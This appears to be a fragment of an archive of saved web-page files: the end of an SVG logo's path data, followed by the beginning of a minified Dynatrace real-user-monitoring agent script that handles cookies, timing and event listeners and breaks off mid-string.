d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570022436 0ustar00/* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa= (Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M, k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>= w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M= 1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&& na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k, w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k= k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"=== typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break; case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest"; xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M= k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k, w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener? k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w, 0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)|| []))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0=== Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!== A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"), k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&& 2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&& (ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp= String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null} function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1=== ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]); if(isNaN(k)||3>k)return w;k={};for(var A=2;A<M.length;A++)k[M[A]]=M[A+1],A++;k.sn?(M=k.sn,M=M.length===cd||12>=M.length?M:""):M="hybrid";w.sessionId=M;if(k.srv){a:{M=k.srv.replace("-2D","-");if(!isNaN(Number(M))&&(A=U(M),-99<=A&&99>=A))break a;M=""}w.serverId=M}M=Number(k.ol);if(1===M){A=mc();var Ta=Bb.dT_;A||(x("dtDisabled","true"),Ta.disabled=!0,Ta.overloadPrevention=!0)}0<=M&&2>=M&&(w.overloadState=M);k=Number(k.prv);isNaN(k)||(w.privacyState=1>k||4<k?1:k)}return w}function Kc(){return Vc()}function gd(k, w){function M(){delete Bg[xb];k.apply(this,arguments)}for(var A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];if("apply"in Ee){A.unshift(M,w);var xb=Ee.apply(Bb,A)}else xb=Ee(M,w);Bg[xb]=!0;return xb}function ma(k){delete Bg[k];"apply"in Fe?Fe.call(Bb,k):Fe(k)}function Ca(k){C(tf,k)}function Ra(k){for(var w=tf.length;w--;)if(tf[w]===k){tf.splice(w,1);break}}function Sa(){return tf}function Db(k,w){return mi(k,w)}function Yb(k){Ge(k)}function Na(k,w){if(!Wd||!jg)return"";k=new Wd([k],{type:w}); return jg(k)}function oc(k,w){return je?new je(k,w):void 0}function rb(k){"function"===typeof k&&C(Wf,k)}function wb(){return Wf}function pc(){return Jd}function Sc(k){return function(){for(var w=[],M=0;M<arguments.length;M++)w[M]=arguments[M];if("number"!==typeof w[0]||!Bg[w[0]])try{return k.apply(this,w)}catch(A){return k(w[0])}}}function ed(){return me}function $b(){J=Ua;Bb.performance&&(Vc=function(){return Math.round(J()+ab())});if(!Vc||isNaN(Vc())||0>=Vc()||!isFinite(Vc()))Vc=function(){return(new Date).getTime()}} function Ac(){kg&&(Bb.clearTimeout=Fe,Bb.clearInterval=Ge,kg=!1)}function Ic(k,w){try{Bb.localStorage&&Bb.localStorage.setItem(k,w)}catch(M){}}function Nc(k){try{Bb.localStorage&&Bb.localStorage.removeItem(k)}catch(w){}}function qd(){Nc("rxec");Nc("rxvisitid");Nc("rxvt")}function ad(k){t()?k():(Cf||(Cf=[]),C(Cf,k))}function dc(k){return y(k)}function Lc(){if(Oa("coo")&&!t()){for(var k=0,w=Cf;k<w.length;k++)gd(w[k],0);Cf=[];ka("cooO",!0)}}function jd(){if(Oa("coo")&&t()){ka("cooO",!1);O("dtCookie"); O("dtPC");O("dtLatC");O("dtSa");O("dtAdk");O("rxVisitor");O("rxvt");try{R("rxec");R("rxvisitid");R("rxvt");qd();var k=Ld;k&&(k.removeItem("rxVisitor"),k.removeItem("dtCookie"));if(k=lg)k.removeItem(yb()),k.removeItem("dtAdk")}catch(w){}}}function bc(k,w){void 0===w&&(w=document.cookie||"");return w.split(k+"=").length-1}function ic(k,w){var M=bc(k,w);if(1<M){w=I("domain")||Bb.location.hostname;var A=Bb.location.hostname,Ta=Bb.location.pathname,xb=0,ec=0;nf.push(k);do{var uc=A.substring(xb);if(uc!== w||"/"!==Ta){Vb(k,uc===w?"":uc,Ta);var qc=bc(k);qc<M&&(nf.push(uc),M=qc)}xb=A.indexOf(".",xb)+1;ec++}while(0!==xb&&10>ec&&1<M);I("domain")&&1<M&&Vb(k,"",Ta)}}function Pd(){var k=document.cookie;ic("dtPC",k);ic("dtCookie",k);ic("dtLatC",k);ic("rxvt",k);0<nf.length&&C(me,{severity:"Error",type:"dcn",text:"Duplicate 